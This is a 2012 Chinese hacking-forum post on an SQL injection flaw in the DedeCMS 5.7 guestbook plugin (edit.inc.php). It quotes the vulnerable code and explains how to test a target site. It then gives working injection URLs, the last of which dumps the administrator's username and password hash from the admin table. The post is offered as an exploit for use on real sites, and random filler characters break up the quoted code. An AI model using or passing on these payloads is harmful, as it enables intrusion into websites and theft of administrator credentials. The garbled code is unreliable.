找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3602|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
影响版本为5.7
& ~. f- h2 i& m: j0 |+ |  G  L) g& h( ~1 x+ R- t- i  `
漏洞文件edit.inc.php具体代码:
. R. s$ ~* t/ p( [4 v5 s. k
  _; k+ U+ b5 Q2 W( s< ?php  
" j9 \! N, t8 a% P' U9 \$ X  u, O: x) ]2 S9 i
if(!defined('DEDEINC')) exit('Request Error!');  
: I* h2 v- c5 l: }) W) p! r1 v
! J7 `" m% `& K% F% Z   
. F) Y, I- ^0 v$ i/ v1 s# o1 [( _8 p, g) x2 B
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  ) E- C: A* n* h6 A& P

& S* X7 `7 h: l) R4 Z1 V  x6 aelse $GUEST_BOOK_POS = "guestbook.php";  * Q% j" Y( }  E/ [% E+ {
6 M% _# t# s/ m' w3 x" W2 Z
   $ F6 D- r2 a' x. h

# |5 B% w. a+ a; f% p% U$id = intval($id);  
3 L8 K' h# O& @' _& ]8 b' ?9 {: F- a3 l' |) @- A* U4 o) B
if(empty($job)) $job='view';  
0 x8 T, D- p" U0 X) J, y% G( H- J+ {3 X9 ~" J
   
  }) R% t5 [, I6 w. e/ y% @/ ]
4 G+ Z' }, j0 |8 E5 kif($job=='del' && $g_isadmin)  
  L' o/ b3 _# N, |& s0 q3 K# S2 c* k! |* b
{  - j$ g2 O* S& J" U
8 E* [4 D5 J6 y" Z! y& n4 E3 T
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  & a: |6 u; R% n+ F, C, M

# I( t4 f: c0 c% K0 oShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  + B5 B' t6 s$ A1 C* d7 j! H+ a1 X
9 P% Y# M- F/ L, }" ]) o3 R+ i; v
exit();  
9 I9 x* H& L, e- ^! k) K
( d+ U4 J# j& d& Y$ P* O0 \}  
* b; @2 o. {- c6 R8 |
3 M/ |. ~; _  _& v) lelse if($job=='check' && $g_isadmin)  
. _: C" S3 p: k0 j" w* Z# v. d# _0 E: X! @6 v
{  + N2 b1 i3 Z2 r; C; M8 ]

3 j, _) h, x6 a' ?# @1 P+ [$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  % J" X0 L6 O, A7 y

, z' Y3 P! [6 k3 q0 CShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
- b9 G% a" v; P8 E" P% ~2 B" F# F) ]8 B
exit();  
7 ~9 i+ u0 b: y" P
0 Q' d  i6 I8 _. p$ O$ q: I}  
5 e) P7 |. b4 e* j" e7 Q6 X& t7 B0 o/ G5 O3 Y# c; |& c
else if($job=='editok')  ( Z5 ]9 u: V" [, K& z( w+ }. l

) n) ?. M+ P! w& y! A, Z2 Z- u6 [9 P5 G{  
# X  B4 F! k- B* N8 |/ p; E, l; |% N$ ^4 O  Q* j( H% B
$remsg = trim($remsg);  : \. Y$ D+ d$ \5 _  X+ |0 L) B

0 f" z/ D* c5 w! v% Sif($remsg!='')  
5 Y$ y7 Q" u/ F, E& o" ]6 V6 k2 ^  g( |5 j* o
{  
7 Z" d$ v7 d; h$ n2 {2 B  B; w. u5 h' h9 n0 c# H
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
  r7 t! j& i/ v
* t; X" N. o7 Y7 k# z6 Z- oif($g_isadmin)  % `* r, i, ?3 W+ ?' E

! \' L/ u5 i: v: |$ S& }{  
; V' d) d! n; Z+ ~9 H1 _3 S) \1 f3 F, `2 M2 @
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
1 c0 M# D- G! c; v; H6 j' @
; K2 [' Z3 v+ f* d4 K& c! [//$remsg <br /><font color=red>管理员回复:</font> }  
& `7 G3 q3 [! L; [; |& y4 J1 M$ K& ]! k: Y
else 9 @  ]% [- u8 \) ^

  ]/ P4 j2 V) X) L) s* p{  " D8 z. V4 ^) A
5 e/ B8 k& S' c$ a1 `2 g1 r
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
# z$ V4 ^) g# s8 @1 p9 z7 W7 s& ^+ M  M7 r; Z  Q' \! l# n7 L: ~& a' A
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
0 G3 K/ q/ ?5 n" Z
: }! R8 N7 ~/ `! w9 K$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  2 |1 O' z% M0 ~8 e% w0 {

3 F/ @! [. s* u# i0 v/ `$msg = $oldmsg.$remsg;  % I3 ]# A  q5 z, n4 J9 x
! U6 k6 b3 a0 P
}  , w' x) k  e* l3 {
7 Z6 o) i% Y8 O# }
}  5 ~1 k, t! S* D9 T: r0 @8 T" ]; Y
# L2 r+ i/ ]; r  `
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  & j: _# A& m. }, p( ~
5 q2 ^% _8 g5 S# \
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  ! h7 v8 R+ {; S5 `

; J: k+ C: E" H* q8 {0 sShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
( B; h) ^  u  M
, J# I% V. s( x' Texit();  
' l& K7 p% X# `
; z- r8 g. u3 C! M}  0 B1 H: `' [) R

$ K" I4 G( m+ q" O& ]- [//home:www.errs.cc  
; C4 J3 \& k3 d# Z* k- @$ o; H2 \
if($g_isadmin)  , F2 ^# d; C$ c. D+ G0 @

. S2 u) Z  Y5 {( P{    d. H0 c, v" K. v& H# q8 r

2 `9 s$ Y5 ?( \# t3 [$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
: G" f; j' T/ n3 Z, d$ V
6 K8 F* {3 E# W6 k6 D5 J4 z0 @/ Frequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  * f$ X5 N" n# ?, N/ H

- y9 `7 m6 C9 ]* u: ]$ C}  
. M9 e8 u" m( H2 E! S9 y0 q3 e0 w. ]; u
else / f' P1 I1 ?* O  U

7 _! k) Y- h: }( P7 Z/ m0 |{  6 }5 M& k! y3 Q1 X) n' L4 h' |& B, K7 o

6 ?  A  a7 C4 H: [1 i( d) f4 f$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
+ }% U5 |5 E% T# n) @$ v5 S; U4 Q' G3 o  j
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  + B- @. |, }, D, y6 ]. L" W
$ @; s, B; ?+ V
} 漏洞成功需要条件:2 R1 q6 t: H- U7 O. g" Z/ n) K
1. php magic_quotes_gpc=off" z0 x. C8 H* L8 {: P
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
! s. c8 k9 y# j+ r9 J+ W+ V
# `7 K, B: y' a5 t% n  b怎么判断是否存在漏洞:! @! X: Z3 E1 ^
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,- I3 \$ o7 V$ O! n: x" M* k7 |" _
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
2 `+ X4 ~' g  e6 Y8 x$ {0 z# X访问:
) E8 V) ~& l$ Z$ _+ Z: i
8 H% _. ^8 ], n4 Y/ F# ?) twww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了" k% M" ^% c  p! r$ j7 L
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
0 E. r3 F* p% j& N9 ?/ G2 [/ J
- |1 x$ m$ T) z5 E/ J7 |/ w1 q/ y" J# l- q' J
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
1 ?; J0 N' |& q  t7 g  A7 v如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
5 c# Y: S) _6 ?# i: }! s! n+ L' e7 y2 ]那么再次访问
  \  d: y$ z8 Z8 V0 p* U& x- h0 }+ T3 r1 [" }
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
. x$ K( `1 U" J9 d9 v# X9 m5 S" Z/ \9 h% L8 K! B
大概利用就是这样,大家有兴趣的多研究下!!
6 t& J1 w% ~& z3 g
0 T) Q3 Q  v5 x' m9 C$ @% p5 B最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
6 z0 c2 n" I. O# n. X
; u' T6 c# U* G7 n, e: hview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表